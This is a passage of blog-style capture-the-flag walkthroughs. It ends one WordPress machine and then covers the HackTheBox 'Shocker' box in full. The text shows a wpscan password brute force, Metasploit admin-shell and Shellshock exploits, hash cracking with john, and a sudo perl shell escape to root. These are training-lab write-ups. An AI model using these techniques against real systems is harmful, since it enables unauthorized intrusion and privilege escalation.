    It says password for admin is incorrect. Let us now try to brute force the login page with the username admin.

    For brute forcing we use the Wpscan tool which is available in kali linux .

    #wpscan — usernames admin — passwords passlist.txt — url http://192.168.1.23/ — password-attack wp-login

    Got it !! the password is qwerty and the username is admin

    We will now open the login page and try.

    Yeah now we are in and its the correct password. Next step is finding exploits for the WordPress version 5.5.3. By surfing google i found few exploits out of that I picked two,

    I am using the second one as its easy and we have our favourite Metasploit to use the Admin Shell Upload exploit.

    Now we lets fire the Metasploit and try the exploit.

    #msfconsole

    We have to give the username and password to exploit the admin shell.

    We got the meterpreter session for the exploit. Now lets run the shell commands and see what we have.

    As we see there is a list, we have to open and check if there is anything useful inside.

    I picked up wp-admin, wp-signup.php, wp-content, wp-login.php, xmlrpc.php, wp-config.php

    wp-activate and wp-settings.php.

    Here, I saw something interesting in wp-config.php and others doesn’t have anything.

    We got a encrypted password for user root. This must be the root password and the golden ticket for the flag.

    We have to decrypt the password now.

    Copied the hash to a text file and started decrypting

    #john -wordlist=/usr/share/wordlists/passlist.txt /home/kali/Desktop/password

    After the bruteforce we got the password for the root user as jasmine

    We can now use the root password in the meterpreter shell and gain root privileges.

    Now we got the full access as we can see the uid and gid is 0 i.e, root.

    Now change directory to root folder.

    #cd /root

    We have a file named bjorn. We can open the file and see if it has the flag.

    At last we got the root access and the flag for the challenge.

    Lets catch up on the next challenge.

    BYE!

  • Shocker- Hackthebox Walkthrough

    Hi Everyone,

    I’m back with another HACKTHEBOX walkthrough today. This machine is for those who are preparing for the OSCP exams. Get root and find the flag would be our task here.

    So, let’s get down to work. First Lets do the Information gathering, we can start with finding the ports and services running.

    # sudo nmap -sSV -A -p- 10.10.10.56 –allports

    There are only two open ports 80 and 2222 which are HTTP and SSH respectively. I can see that port 80 with HTTP runs on apache httpd 2.4.18. Let us dig more by opening http://10.10.10.56 in the browser.

    Just a webpage with a dummy picture. My next step now is obviously to run the Directory duster tool.#dirb http://10.10.10.56

    Now that was interesting to see CGI-bin was available.

    CGI–bin is used to store scripts that will run or interact with a web browser to do specified functions on the web page. After opening the /CGI-bin I didn’t find anything, but I doubted that something might be there in it. So again, I ran dirb command for .sh and .php files

    #dirb http:10.10.10.56/cgi-bin/ -X .sh .php

    Got it ! I found the file user.sh. It’s must be a shell script

    Now I got the user.sh folder. I downloaded and opened the file. After opening the file, I saw it’s a dummy shell script.  But this gave me a hint that it would be shellshock.

    Shellshock is a vulnerability that has been exploited for a long time till now. Bash incorrectly executes trailing commands while importing a function definition stored into an environment variable.

    https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf You can find more about shellshock here.

    Now I must confirm whether this machine is really about shellshock. Let fire up Metasploit and run the auxiliary scanner to find it.

    I used auxiliary/scanner/http/apache_mod_cgi_bash_env .

    This confirmed that the machine is vulnerable to Shellshock.

    Now let’s run the exploit and see what happens.

    exploit/multi/http/ apache_mod_cgi_bash_env_exec

    BOOM !! I got the meterpreter session.

    But wait, I got only limited access and can still run some commands. I didn’t get the root access. I was unable to access /root folder, so I tried cd /home and found it has a shelly folder.

    After opening the shelly folder, I found it has user.txt. Here I got the flag but still, I didn’t get the root. So let us try for the root privileges.

    I am going to run commands in shell and check the possibilities.

    User shelly may run the following commands on Shocker:

        (root) NOPASSWD: /usr/bin/perl

    I found that shelly can run commands in Perl without a password.

    So that could be a privilege escalation. After a lot of google searches, I found these two articles mentioning privilege escalation using Perl.

    https://www.hackingarticles.in/linux-for-pentester-perl-privilege-escalation/https://www.hacknos.com/perl-python-ruby-privilege-escalation-linux/

    I opened the shell and executed the command in Perl,

    #sudo perl -e ‘exec “/bin/sh”’

    A user can use the -e option in Perl to break out from restricted environments by spawning an interactive system shell and it plays an especial role in privilege escalation. With the help of this, we can also run any command in a restricted environment.

    After running the command, I checked if I got the root using the #id command. Then,

    #cd /root and found the file root.txt.

    I opened it using #cat root.txt and that is it. We have done the job.

    With this walkthrough, we have learned about the shellshock vulnerability and Privilege Escalation using Perl commands. Next week, I will bring another HTB computer with me so that we can explore and learn more.